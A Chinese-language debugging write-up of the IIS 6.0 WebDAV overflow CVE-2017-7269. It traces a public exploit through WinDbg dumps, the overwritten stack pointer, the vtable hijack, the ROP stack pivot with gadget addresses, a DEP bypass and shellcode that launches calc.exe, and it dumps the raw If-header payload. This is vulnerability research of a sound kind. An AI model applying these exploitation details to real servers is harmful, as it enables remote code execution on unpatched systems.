学着分析CVE-2017-7269 -- IIS 6.0 WebDAV远程代码执行漏洞
这里面要分析的代码相对我以前分析的是比较多的
参考:http://bobao.360.cn/learning/detail/3664.html
简介
CVE编号:CVE-2017-7269
漏洞级别:严重
漏洞影响:Windows Server 2003 r2 IIS6.0
漏洞发现人:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)
漏洞类型:缓冲区溢出(ScStoragePathFromUrl 函数)
exp来源:https://github.com/edwardz246003/IIS_exploit/
实验环境
Windows Server 2003 r2
IIS 6.0
procexp
windbg
IDA
mona
漏洞分析
首先要打开WebDAV扩展
运行一下exp,成功执行Shellcode,看到计算器进程(注意应该是由于父进程w3wp是没有图形界面,所以计算机是不会弹出来的)
windbg附加,发送payload,竟然触发了异常了哦,下次附加竟然没出现,下次的第一次附加又出现了,不懂
在我截出来的下面的最后一行,我们看到了漏洞函数
0:016> g
(d08.d2c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000009c ebx=000ad290 ecx=012db770 edx=00000000 esi=00000000 edi=00000000
eip=68026821 esp=012db718 ebp=012db718 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
rsaenh!LocateAlgorithm+0x12:
68026821 8b08 mov ecx,dword ptr [eax] ds:0023:0000009c=????????
0:006> kv
ChildEBP RetAddr Args to Child
012db718 68026874 0000009c 00006801 012db744 rsaenh!LocateAlgorithm+0x12 (FPO: [Non-Fpo])
012db728 68008b05 0000009c 00006801 00000028 rsaenh!IsLegalLength+0x17 (FPO: [Non-Fpo])
012db744 68008b7c 00000000 00006801 00000005 rsaenh!FIsLegalKeySize+0x52 (FPO: [Non-Fpo])
012db764 680070e2 000ad290 00000000 00000001 rsaenh!FIsLegalKey+0x2a (FPO: [Non-Fpo])
012db798 6800732b e3507c7c e35065c4 e35743bc rsaenh!LocalDecrypt+0x11f (FPO: [Non-Fpo])
012db7c4 77f3f702 e3507c7c e35065c4 e35743bc rsaenh!CPDecrypt+0x22 (FPO: [Non-Fpo])
012db828 56b993f5 000ae730 000e0be0 00000001 ADVAPI32!CryptDecrypt+0x91 (FPO: [Non-Fpo])
012db854 56b97720 012db8ac 012db8b0 012db8a0 ADMWPROX!IISCryptoDecryptDataBlob+0xb2 (FPO: [Non-Fpo])
012db878 56b94f69 012db8ac 012db8b0 012db8a0 ADMWPROX!IIS_CRYPTO_STORAGE::DecryptData+0x1f (FPO: [Non-Fpo])
012db8d4 64a3183f 000a61a4 00000012 012def30 ADMWPROX!IMSAdminBaseW_GetAllData_Proxy+0x8a (FPO: [Non-Fpo])
012db914 5a63d9a3 012def30 00000003 00000002 IISUTIL!MB::GetAll+0x34 (FPO: [Non-Fpo])
012de718 5a63ec1e 01be9a34 012dec98 012de8d8 w3core!W3_METADATA::ReadMetaData+0x140 (FPO: [Non-Fpo])
012de734 5a63eb7d 0132c688 012dec98 012de780 w3core!W3_METADATA_CACHE::CreateNewMetaData+0x8f (FPO: [Non-Fpo])
012de8b4 5a63b04e 0132c688 012dec98 012de8d8 w3core!W3_METADATA_CACHE::GetMetaData+0x166 (FPO: [Non-Fpo])
012de8dc 5a63afcf 0132c688 012dec98 012de9e4 w3core!W3_URL_INFO_CACHE::CreateNewUrlInfo+0x3f (FPO: [Non-Fpo])
012dec20 5a639aa0 0132c688 012dec98 012dec3c w3core!W3_URL_INFO_CACHE::GetUrlInfo+0x26a (FPO: [Non-Fpo])
012dec40 5a670fe3 0132c688 012dec98 012decc8 w3core!W3_STATE_URLINFO::MapPath+0x24 (FPO: [Non-Fpo])
012df244 5a5c9237 0132d8b8 0106f7f0 00000130 w3core!ISAPI_REQUEST::MapPathEx+0xe1 (FPO: [Non-Fpo])
012df288 5a5c1967 0132d948 0106f7f0 012df31c w3isapi!SSFMapUnicodeUrlToPathEx+0xf0 (FPO: [Non-Fpo])
012df2fc 673f66c3 0132d948 00000400 0106f7f0 w3isapi!ServerSupportFunction+0x4a9 (FPO: [Non-Fpo])
012df320 673f6d06 0106f7f0 012df35c 0106ed58 httpext!IEcbBase::ScReqMapUrlToPathEx60After+0x2b (FPO: [Non-Fpo])
012df798 673e9469 012df804 012df800 00000000 httpext!ScStoragePathFromUrl+0x8b (FPO: [Non-Fpo])
......
我们还是直接对httpext!ScStoragePathFromUrl
下断吧,
我们看一下前面的调用
0:005> g
Breakpoint 1 hit
eax=028df800 ebx=027a48e8 ecx=027a0c08 edx=027a4ff0 esi=00000000 edi=77ba8ef2
eip=673f6c7b esp=028df79c ebp=028df7ac iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl:
673f6c7b b8150d4167 mov eax,offset httpext!swscanf+0x14b5 (67410d15)
0:019> kv
ChildEBP RetAddr Args to Child
028df798 673e9469 028df804 028df800 00000000 httpext!ScStoragePathFromUrl (FPO: [Non-Fpo])
028df7ac 673f544a 027a4ff0 028df804 028df800 httpext!CMethUtil::ScStoragePathFromUrl+0x18 (FPO: [Non-Fpo])
028dfc34 673f561e 027a48e8 027a366e 028dfc78 httpext!HrCheckIfHeader+0x124 (FPO: [Non-Fpo])
有个httpext!HrCheckIfHeader,过去看看,这个函数有可能调用了两次httpext!ScStoragePathFromUrl(是可能一次循环调用两次,只要v5为非0)
......
v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
if ( v5 == 1 )
{
if ( !CStackBuffer<unsigned short,260>::resize(v27) )
{
LABEL_35:
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
v5 = -2147024882;
goto LABEL_39;
}
v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
}
......
我们继续看看ScStoragePathFromUrl函数
首先一进来就看到GS保护了,这次的溢出漏洞利用应该不简单
httpext!ScStoragePathFromUrl:
673f6c7b b8150d4167 mov eax,offset httpext!swscanf+0x14b5 (67410d15)
673f6c80 e803100000 call httpext!_EH_prolog (673f7c88)
673f6c85 81ec50040000 sub esp,450h
673f6c8b a1c0704167 mov eax,dword ptr [httpext!__security_cookie (674170c0)]
673f6c90 8945f0 mov dword ptr [ebp-10h],eax
单步单步,首先我们注意到了一个计算目录长度的,计算出的长度是0x97(下面没贴出来),暂时不明白aaaaaaa后面的怎么来的,跟我们的payload有差别(请看小标题—还有一问题就是payload传到服务器发生了什么变化
)
0:008> p
eax=01e6f480 ebx=01e6ed58 ecx=01e6c680 edx=01e6f480 esi=01e6d968 edi=00000000
eip=673f6ce9 esp=012df32c ebp=012df798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x6e:
673f6ce9 ff1550123e67 call dword ptr [httpext!_imp__wcslen (673e1250)] ds:0023:673e1250={msvcrt!wcslen (77ba8ef2)}
0:008> dc eax
01e6f480 0061002f 00610061 00610061 00610061 /.a.a.a.a.a.a.a.
01e6f490 78636f68 71337761 47726936 4b777a39 hocxaw3q6irG9zwK
01e6f4a0 75534f70 48687a4f 6d545663 39536845 pOSuOzhHcVTmEhS9
01e6f4b0 5567506c 33646763 78454630 54316952 lPgUcgd30FExRi1T
01e6f4c0 6a514c58 42317241 58507035 6c473664 XLQjAr1B5pPXd6Gl
01e6f4d0 546a3539 54435034 50617752 6d4b3232 95jT4PCTRwaP22Km
01e6f4e0 32476c34 374d6241 58625161 52504773 4lG2AbM7aQbXsGPR
01e6f4f0 75443670 3374686a 786b4e4a 4e734976 p6Dujht3JNkxvIsN
继续,下面这个根据名字应该是,将url转化为本机路径
eax=012df35c ebx=00000097 ecx=01e6d968 edx=01e6f480 esi=01e6d968 edi=00000000
eip=673f6d01 esp=012df328 ebp=012df798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x86:
673f6d01 e853ffffff call httpext!IEcbBase::ScReqMapUrlToPathEx (673f6c59)
好像确实转化为C:\Inetpub\wwwroot目录的了
0:008> dc ebp-444
012df354 01e6f480 012df40c 003a0063 0069005c ......-.c.:.\.i.
012df364 0065006e 00700074 00620075 0077005c n.e.t.p.u.b.\.w.
012df374 00770077 006f0072 0074006f 0061005c w.w.r.o.o.t.\.a.
012df384 00610061 00610061 00610061 78636f68 a.a.a.a.a.a.hocx
012df394 71337761 47726936 4b777a39 75534f70 aw3q6irG9zwKpOSu
012df3a4 48687a4f 6d545663 39536845 5567506c OzhHcVTmEhS9lPgU
012df3b4 33646763 78454630 54316952 6a514c58 cgd30FExRi1TXLQj
012df3c4 42317241 58507035 6c473664 546a3539 Ar1B5pPXd6Gl95jT
第一次没进入memcpy那个else那里,第二次才进入了,第一个memcpy,长度0x9*4(因为dword),我们看到拷贝的地址是edi=028df804>ebp=028df798,所以这是上层函数的局部变量
我们看到拷贝的结果是哪个web的目录
0:019> p
eax=00000024 ebx=00000097 ecx=00000009 edx=00000024 esi=028df35c edi=028df804
eip=673f6faf esp=028df330 ebp=028df798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x334:
673f6faf f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:019> p
eax=00000024 ebx=00000097 ecx=00000000 edx=00000024 esi=028df380 edi=028df828
eip=673f6fb1 esp=028df330 ebp=028df798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x336:
673f6fb1 8bca mov ecx,edx
0:019> dc 028df804 L9
028df804 003a0063 0069005c 0065006e 00700074 c.:.\.i.n.e.t.p.
028df814 00620075 0077005c 00770077 006f0072 u.b.\.w.w.w.r.o.
028df824 0074006f o.t.
继续,第二个memcpy没拷贝,因为ecx为0
继续第三个,拷贝长度0x130(0x4c*4),而且我们回溯发现我们复制的目的地址是上层函数httpext!HrCheckIfHeader传过来的Str(传过来的值为012df804),漏洞作者肯定不会覆盖到GS结构的(所以长度不会太长),我们再看看,发现上层函数中指向Str的指针存于栈上,那么这次的复制会不会把这个指针覆盖了呢
wchar_t *Str; // [sp+14Ch] [bp-328h]@9
0:008> p
eax=00000130 ebx=00000097 ecx=0000004c edx=012df804 esi=01e6f480 edi=012df828
eip=673f6fdb esp=012df330 ebp=012df798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x360:
673f6fdb f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
我们跟到CMethUtil::ScStoragePathFromUrl函数返回出来后,会再次引用Str,我们看到这里的[ebp-328h](028df90c)已经被改为680312c0(那确实是这样了,因为 012df800+0x130 > 028df90c)
0:019> p
eax=00000000 ebx=027a48e8 ecx=00005430 edx=028df804 esi=00000000 edi=77ba8ef2
eip=673f548e esp=028df7c0 ebp=028dfc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x168:
673f548e ffb5d8fcffff push dword ptr [ebp-328h] ss:0023:028df90c=680312c0
0:019> p
eax=00000000 ebx=027a48e8 ecx=00005430 edx=028df804 esi=00000000 edi=77ba8ef2
eip=673f5494 esp=028df7bc ebp=028dfc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x16e:
673f5494 ffd7 call edi {msvcrt!wcslen (77ba8ef2)}
我们看看这个地址是rsaenh模块的地址
0:019> !address 680312c0
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 68000000
Base Address: 68031000
End Address: 68032000
Region Size: 00001000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
More info: lmv m rsaenh
More info: !lmi rsaenh
More info: ln 0x680312c0
那么假如到后面再次回到ScStoragePathFromUrl复制时,就会复制到680312c0了,while循环到底会不会再执行一次呢,继续看吧
下面是HrCheckIfHeader函数中(ida f5的话在148行左右),这里的v26因为被上面的for循环置1了,所以能进入这个if语句,PszNextToken是寻找<开头的url还是啥的(里面有个对<的判断),找不到应该就返回0了,重点是进入了这个if,最终执行了continue语句,回到while循环处,PszNextToken返回又不为0,从而可以再次执行ScStoragePathFromUrl
其实我们看汇编的话是只要v26为1,就会跳到673F539C(v6 = IFITER::PszNextToken((int)&v20, 0);
),即while循环的上一句,这里说明ida的反编译跟我们读汇编有点不一样,当其实意思上是一致的
if ( v26 )
{
v6 = IFITER::PszNextToken((int)&v20, 1);
continue;
}
0:008> g
Breakpoint 2 hit
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=012df35c edi=680312c0
eip=673f6faf esp=012df330 ebp=012df798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x334:
673f6faf f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
那我们看看第二次进入,除去域名,后面的长度很长:0x2fd
0:019> p
eax=027a6f98 ebx=027a48e8 ecx=027a36c8 edx=027a6f98 esi=027a0c08 edi=00000000
eip=673f6ce9 esp=028df32c ebp=028df798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x6e:
673f6ce9 ff1550123e67 call dword ptr [httpext!_imp__wcslen (673e1250)] ds:0023:673e1250={msvcrt!wcslen (77ba8ef2)}
0:019> dc eax
027a6f98 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
027a6fa8 61757948 6f674f43 48456b6f 67753646 HyuaCOgookEHF6ug
027a6fb8 38714433 5a625765 56615435 6a536952 3Dq8eWbZ5TaVRiSj
027a6fc8 384e5157 63555948 43644971 34686472 WQN8HYUcqIdCrdh4
027a6fd8 71794758 6b55336b 504f6d48 34717a46 XGyqk3UkHmOPFzq4
027a6fe8 74436f54 6f6f5956 34577341 7a726168 ToCtVYooAsW4harz
027a6ff8 4d493745 5448574e 367a4c38 62663572 E7IMNWHT8Lz6r5fb
027a7008 486d6e43 61773548 61744d5a 43654133 CnmHH5waZMta3AeC
0:019> p
eax=000002fd ebx=027a48e8 ecx=027a0000 edx=027a6f98 esi=027a0c08 edi=00000000
eip=673f6cef esp=028df32c ebp=028df798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x74:
673f6cef 59 pop ecx
继续,但是由于第一次的覆盖,这次复制的目的地址是一个堆空间,就绕过了GS了,而且我们可以复制的数目可以很多
一开始还是复制web在本地的目录
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=028df35c edi=680312c0
eip=673f6faf esp=028df330 ebp=028df798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x334:
673f6faf f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:019> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000024 esi=028df380 edi=680312e4
eip=673f6fb1 esp=028df330 ebp=028df798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x336:
673f6fb1 8bca mov ecx,edx
0:019> dc 680312c0
680312c0 003a0063 0069005c 0065006e 00700074 c.:.\.i.n.e.t.p.
680312d0 00620075 0077005c 00770077 006f0072 u.b.\.w.w.w.r.o.
680312e0 0074006f 7c821a60 680313a0 00080000 o.t.`..|...h....
680312f0 00000000 77b9b1f4 00000020 00000004 .......w .......
68031300 00011314 6803124c 00080000 680313d8 ....L..h.......h
68031310 7c958270 7c959f60 ffffffff 7c959f59 p..|`..|....Y..|
68031320 7c949014 00080000 00000000 000a3958 ...|........X9..
68031330 7ffd8000 00000006 000af948 680313e8 ........H......h
接下来就会将ROP gadget,Shellcode什么的也复制到路径后面了
0:019> p
eax=000005fc ebx=000002fd ecx=0000017f edx=680312c0 esi=027a6f98 edi=680312e4
eip=673f6fdb esp=028df330 ebp=028df798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x360:
673f6fdb f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:019> dc 680312e4
680312e4 7c821a60 680313a0 00080000 00000000 `..|...h........
680312f4 77b9b1f4 00000020 00000004 00011314 ...w ...........
68031304 6803124c 00080000 680313d8 7c958270 L..h.......hp..|
68031314 7c959f60 ffffffff 7c959f59 7c949014 `..|....Y..|...|
68031324 00080000 00000000 000a3958 7ffd8000 ........X9......
68031334 00000006 000af948 680313e8 7c94927b ....H......h{..|
68031344 000a3958 7c949264 680124e3 7ffd8000 X9..d..|.$.h....
68031354 0a2a1de0 77e3a576 00000d68 00007530 ..*.v..wh...0u..
0:019> p
eax=000005fc ebx=000002fd ecx=00000000 edx=680312c0 esi=027a7594 edi=680318e0
eip=673f6fdd esp=028df330 ebp=028df798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x362:
673f6fdd 8bc8 mov ecx,eax
那680312c0这个地址是不是储存着函数指针呢,我们继续跟踪
我们发现又回到了ScStoragePathFromUrl函数,不过这次的上层调用来源于httpext!CParseLockTokenHeader::HrGetLockIdForPath
这里跟上次的流程几乎一样,不过这里只复制了aaa…那个,没有复制bbb…,而且复制的目的地址跟我们上面的不一样,这里应该是没有什么用的,主要是用于调用ScStripAndCheckHttpPrefix函数,劫持控制流的
0:019> p
Breakpoint 1 hit
eax=028df9a4 ebx=028dfbe8 ecx=027a0c08 edx=027a4e10 esi=028dfc28 edi=00000104
eip=673f6c7b esp=028df940 ebp=028df950 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl:
673f6c7b b8150d4167 mov eax,offset httpext!swscanf+0x14b5 (67410d15)
0:019> kv
ChildEBP RetAddr Args to Child
028df93c 673e9469 028dfab4 028df9a4 00000000 httpext!ScStoragePathFromUrl+0x5 (FPO: [Non-Fpo])
028df950 673f5740 027a4e10 028dfab4 028df9a4 httpext!CMethUtil::ScStoragePathFromUrl+0x18 (FPO: [Non-Fpo])
028dfbd0 673eaba9 027a366e 80000000 028dfc28 httpext!CParseLockTokenHeader::HrGetLockIdForPath+0x119 (FPO: [Non-Fpo])
028dfc3c 673ef68e 027a48e8 027a366e 80000000 httpext!FGetLockHandle+0x40 (FPO: [Non-Fpo])
028dfc78 673ef7c5 027a4938 028dfcd4 674104e2 httpext!CPropFindRequest::Execute+0x125 (FPO: [Non-Fpo])
028dfc90 673f96f2 027a4938 00000004 01329a68 httpext!DAVPropFind+0x47 (FPO: [Non-Fpo])
028dfce0 673e7bc6 027a3a50 027a48e8 01329a68 httpext!CDAVExt::DwMain+0x12e (FPO: [Non-Fpo])
028dfe04 5a5c2991 01329a68 013287a8 013293f8 httpext!DwDavFSExtensionProc+0x3f (FPO: [Non-Fpo])
......
跟着下面就到了ScStripAndCheckHttpPrefix这里吗调用IEcb虚表里面的函数,如下,对象的首地址就在680313c0
0:006> p
eax=0125f9a4 ebx=0125fbe8 ecx=680313c0 edx=0125f4f8 esi=027a9d70 edi=00000000
eip=674035e6 esp=0125f4b8 ebp=0125f4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x11:
674035e6 8bf9 mov edi,ecx
0:006> p
eax=0125f9a4 ebx=0125fbe8 ecx=680313c0 edx=0125f4f8 esi=027a9d70 edi=680313c0
eip=674035e8 esp=0125f4b8 ebp=0125f4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x13:
674035e8 8b07 mov eax,dword ptr [edi] ds:0023:680313c0=680313c0
......
......
0:006> p
eax=680313c0 ebx=0125fbe8 ecx=680313c0 edx=0125f4f8 esi=027a9d70 edi=680313c0
eip=674035f3 esp=0125f4b4 ebp=0125f4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
674035f3 ff5024 call dword ptr [eax+24h] ds:0023:680313e4=68016082
跟着就来到下面这个设置的rop地址,将ecx复制给esp(stack pivot,栈翻转),这样我们才能进行rop,而这里eax,ecx都是可控的,作者使用了ecx
68016082 8be1 mov esp,ecx
68016084 8b08 mov ecx,dword ptr [eax]
68016086 8b4004 mov eax,dword ptr [eax+4]
68016089 50 push eax
6801608a c3 ret
利用当前gadget,再执行[eax+4] = [680313c4] = 68006e4f 地址的gadget
通过68006e4f这个gadget就跳过了一开始用来控制程序流程的关键地址680313e4
674035f3 ff5024 call dword ptr [eax+24h] ds:0023:680313e4=68016082
68006e4f 5e pop esi
68006e50 5d pop ebp
68006e51 c22000 ret 20h
继续,这是为了传0x40给eax吧
6800b113 6a40 push 40h
6800b115 eb0e jmp rsaenh!GetHashLength+0x39 (6800b125)
就跳到下面来了
6800b125 58 pop eax
6800b126 5d pop ebp
6800b127 c20400 ret 4
上面设置了ebp后就下面给esp了
680129e7 c9 leave
680129e8 c3 ret
之后KiFastSystemCall,据说这是利用SharedUserData bypass DEP的一环。看到执行完就到了弹计算器的Shellcode了
0:006> t
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=0125f4f8 esi=68031460 edi=680124e3
eip=680124e3 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!HmacCheck+0x2c3:
680124e3 ff23 jmp dword ptr [ebx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c9585e8)}
0:006> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=0125f4f8 esi=68031460 edi=680124e3
eip=7c9585e8 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCall:
7c9585e8 8bd4 mov edx,esp
0:006> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=68031400 esi=68031460 edi=680124e3
eip=7c9585ea esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCall+0x2:
7c9585ea 0f34 sysenter
0:006> p
eax=c00000f1 ebx=7ffe0300 ecx=00000001 edx=ffffffff esi=68031460 edi=680124e3
eip=68031460 esp=68031404 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!g_pfnFree+0x1a4:
68031460 56 push esi
到最后执行winexec
0:006> p
eax=7c86411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315fa esp=680313f8 ebp=68031581 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x33e:
680315fa ffe0 jmp eax {kernel32!WinExec (7c86411e)}
0:006> dd esp
680313f8 68031614 68031633 00000001 0000001b
68031408 006d1fe0 ffff0023 6803046e 00000040
68031418 68031434 680129e7 68009391 666e3931
68031428 30524955 766b546b 7961724a 6803141c
68031438 68006e05 79687732 366c4d69 4d704468
68031448 68008246 32534877 68021daa 43356f6a
68031458 680313f8 680129e7 00560028 00410059
68031468 00340034 00340034 00340034 00340034
0:006> dc 68031633 l2
68031633 636c6163 6578652e calc.exe
还有一问题,就是payload传到服务器发生了什么变化
我们发现除了开头的aaa…,bbb…能对应上之外,下面的字符串都看不出payload的影子
经过艰难的调试,我找到的接收payload缓冲区的地方
在ChainedStringBuffer<char>::Append
函数内
(怎么找到的呢,根据那个堆地址在哪里申请的,跟着不断对那些申请内存下写入断点,这样子往上找了好几层终于找到了)
里面有qmemcpy
0:020> p
Breakpoint 7 hit
eax=09fd89a8 ebx=673e2028 ecx=00000194 edx=00000655 esi=09fd69ac edi=09fd89ac
eip=673ec325 esp=09f5f620 ebp=09f5f628 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
httpext!ChainedStringBuffer<char>::Append+0x20:
673ec325 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:020> p
eax=09fd89a8 ebx=673e2028 ecx=00000000 edx=00000655 esi=09fd6ffc edi=09fd8ffc
eip=673ec327 esp=09f5f620 ebp=09f5f628 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ChainedStringBuffer<char>::Append+0x22:
673ec327 8bca mov ecx,edx
0:020> p
eax=09fd89a8 ebx=673e2028 ecx=00000655 edx=00000655 esi=09fd6ffc edi=09fd8ffc
eip=673ec329 esp=09f5f620 ebp=09f5f628 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ChainedStringBuffer<char>::Append+0x24:
673ec329 83e103 and ecx,3
0:020> p
eax=09fd89a8 ebx=673e2028 ecx=00000001 edx=00000655 esi=09fd6ffc edi=09fd8ffc
eip=673ec32c esp=09f5f620 ebp=09f5f628 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ChainedStringBuffer<char>::Append+0x27:
673ec32c f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
其实首先接受是Content-Length
0:003> dc 0a00efc0
0a00efc0 746e6f43 2d746e65 676e654c c0006874 Content-Length..
0a00efd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
0a00efe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
0a00eff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
我们看看拷贝后的字符串,确实看到了我们payload的影子
0:020> dc 09fd8998 L 1a0
09fd8998 00000000 00000655 00000655 09fd89a8 ....U...U.......
09fd89a8 7474683c 2f2f3a70 61636f6c 736f686c <http://localhos
09fd89b8 61612f74 61616161 a8bde661 e7a3a1e7 t/aaaaaaa.......
09fd89c8 84e7a19d b6a4e6b3 e7b29de4 ade4b9a8 ................
09fd89d8 b0bde4b7 e79395e7 a1e48fa9 a399e5a8 ................
09fd89e8 e694b5e6 a5e385a1 ac81e593 e6a795e5 ................
09fd89f8 8de3a39d b098e4a4 e685a1e7 90e592a5 ................
09fd8a08 98b1e4b1 e791a9e6 88e48189 b580e7b1 ................
09fd8a18 e390a1e5 b1e6a499 b994e387 e5aa91e5 ................
09fd8a28 91e5b480 929de783 e3a181e5 b5e6b288 ................
09fd8a38 b4b0e68b e68789e3 9de38189 a185e58d ................
09fd8a48 e4a2a1e5 89e5b39d b099e390 e68495e7 ................
09fd8a58 8de3aaa1 8ab9e4b4 e4aba1e7 b9e4b6a5 ................
09fd8a68 aab1e4b3 e6ba9de5 a1e5b1bd b088e38a ................
09fd8a78 e4ae9de3 89e589ad a3a1e48d e78cbde6 ................
09fd8a88 95e79695 af99e6b5 e4a899e7 81e58d91 ................
09fd8a98 b6a8e7b0 e68b89e6 95e79795 b2a9e690 ................
09fd8aa8 e7aba9e7 99e7a29d 8889e698 e3b194e6 ................
09fd8ab8 b1e69481 8a81e5b9 e5a291e5 95e3b380 ................
09fd8ac8 b7a9e6b7 e38485e4 91e6b48c 86b5e4b6 ................
09fd8ad8 e49499e5 95e6ac9d b298e783 e5b889e7 ................
09fd8ae8 8ce4a99d b289e6b8 e5b0a8e5 91e5b8a4 ................
09fd8af8 c882c888 808be182 e683a0e6 89e584b1 ................
09fd8b08 b7ace496 e4adb1e6 a1e598bd 90a5e79a ................
09fd8b18 e5aaa5e4 a9e48fa1 9085e492 e18d99e6 ................
09fd8b28 a0e6808f b4a0e483 e6b194e6 b9e683bd ................
09fd8b38 8191e7a6 e1ac8de4 a0e6808f 838de583 ................
09fd8b48 e781a9e6 8ce39281 a6a1e5b0 e78c89e4 ................
09fd8b58 8de68b81 b385e586 e781a5e7 a9e490a9 ................
09fd8b68 28203eac 20746f4e 636f6c3c 6b6f746b .> (Not <locktok
09fd8b78 773a6e65 65746972 20293e31 7474683c en:write1>) <htt
09fd8b88 2f2f3a70 61636f6c 736f686c 62622f74 p://localhost/bb
09fd8b98 62626262 88a5e762 e4b585e6 bde683bd bbbbb...........
09fd8ba8 afade6a7 e385a1e4 9de68699 b390e4b5 ................
09fd8bb8 e5b1a1e3 a9e5a59d b590e5a2 e6a199e5 ................
09fd8bc8 a9e692a5 9785e593 e58ea1e3 8de688a5 ................
09fd8bd8 b1a5e495 e6a48de4 91e3b291 989de4a8 ................
09fd8be8 e3b985e7 ade6ab8d 88b5e695 e78f81e5 ................
09fd8bf8 91e386a9 94bde6b1 e58391e7 bde696a5 ................
